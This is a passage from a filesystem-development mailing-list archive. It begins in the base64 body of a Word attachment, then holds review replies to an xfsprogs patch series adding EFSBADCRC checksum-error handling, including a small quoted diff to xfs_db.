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 ------=_NextPart_000_10C0_01CF380D.AE6CA600-- From sandeen@sandeen.net Tue Mar 4 18:04:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 563087F4E for ; Tue, 4 Mar 2014 18:04:56 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0DE7FAC006 for ; Tue, 4 Mar 2014 16:04:52 -0800 (PST) X-ASG-Debug-ID: 1393977890-04bdf05dac281c90001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id S4kHTymz6sMNBkE5 for ; Tue, 04 Mar 2014 16:04:50 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-2.local (c-50-188-35-29.hsd1.mn.comcast.net [50.188.35.29]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id B5CAF60003C4; Tue, 4 Mar 2014 18:04:49 -0600 (CST) Message-ID: <53166A20.4040109@sandeen.net> Date: Tue, 04 Mar 2014 18:04:48 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 00/13] xfsprogs: initial EFSBADCRC support References: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 00/13] xfsprogs: initial EFSBADCRC support In-Reply-To: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393977890 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3600 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 3/4/14, 2:51 AM, Dave Chinner wrote: > Hi Folks, > > This series is a userspace port of Eric's EFSBADCRC verifier error > discrimination patch set. It brings across all the relevant pathes > form the kernel code and shoe-horns them into the libxfs codebase. > There are two extra patches on the end of the series - one to make > xfs_db use EFSBADCRC for it's CRC validity indication, and the other > to make xfs_repair detect and handle primary superblock CRC failures > and recalculation when the primary superblock is rebuilt and > rewritten. > > This is the first step in bring full awareness of CRC errors into > xfs_repair. More patches will follow as I make more repair code > aware that EFSBADCRC means that the object that was just read > needs repair. You can slap: Reviewed-by: Eric Sandeen on the first 11 of these anyway. (or maybe we should swap SOB/RB, and add a new Userspace-ported-by ;)) -Eric From sandeen@sandeen.net Tue Mar 4 18:12:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0FC177F4E for ; Tue, 4 Mar 2014 18:12:38 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A9A70AC004 for ; Tue, 4 Mar 2014 16:12:37 -0800 (PST) X-ASG-Debug-ID: 1393978355-04cb6c567625ec10001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id pCqEdE7FXw5yTjs7 for ; Tue, 04 Mar 2014 16:12:35 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-2.local (c-50-188-35-29.hsd1.mn.comcast.net [50.188.35.29]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id AF06460003C4; Tue, 4 Mar 2014 18:12:34 -0600 (CST) Message-ID: <53166BF1.6010507@sandeen.net> Date: Tue, 04 Mar 2014 18:12:33 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 12/13] xfs_db: Use EFSBADCRC for CRC validity indication References: <1393923117-9559-1-git-send-email-david@fromorbit.com> <1393923117-9559-13-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 12/13] xfs_db: Use EFSBADCRC for CRC validity indication In-Reply-To: <1393923117-9559-13-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393978355 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3599 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 3/4/14, 2:51 AM, Dave Chinner wrote: > From: Dave Chinner > > xfs_db currently gives indication as to whether a buffer CRC is ok > or not. Currently it does this by checking for EFSCORRUPTED in the > b_error field of the buffer. Not that we have EFSBADCRC to indicate Now that... > a bad CRC independently of structure corruption, use that instead to > drive the CRC correct/incorrect indication in the structured output. > > Signed-off-by: Dave Chinner Reviewed-by: Eric Sandeen > --- > db/io.c | 5 +++-- > db/io.h | 2 +- > 2 files changed, 4 insertions(+), 3 deletions(-) > > diff --git a/db/io.c b/db/io.c > index d29816c..9a787c8 100644 > --- a/db/io.c > +++ b/db/io.c > @@ -521,10 +521,11 @@ set_cur( > } > > /* > - * keep the buffer even if the verifier says it is corrupted. > + * Keep the buffer even if the verifier says it is corrupted. > * We're a diagnostic tool, after all. > */ > - if (!bp || (bp->b_error && bp->b_error != EFSCORRUPTED)) > + if (!bp || (bp->b_error && bp->b_error != EFSCORRUPTED && > + bp->b_error != EFSBADCRC)) > return; > iocur_top->buf = bp->b_addr; > iocur_top->bp = bp; > diff --git a/db/io.h b/db/io.h > index d8cf383..ad39bee 100644 > --- a/db/io.h > +++ b/db/io.h > @@ -67,6 +67,6 @@ static inline bool > iocur_crc_valid() > { > return (iocur_top->bp && > - iocur_top->bp->b_error != EFSCORRUPTED && > + iocur_top->bp->b_error != EFSBADCRC && > (!iocur_top->ino_buf || iocur_top->ino_crc_ok)); > } > From dave@fromorbit.com Tue Mar 4 19:12:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com 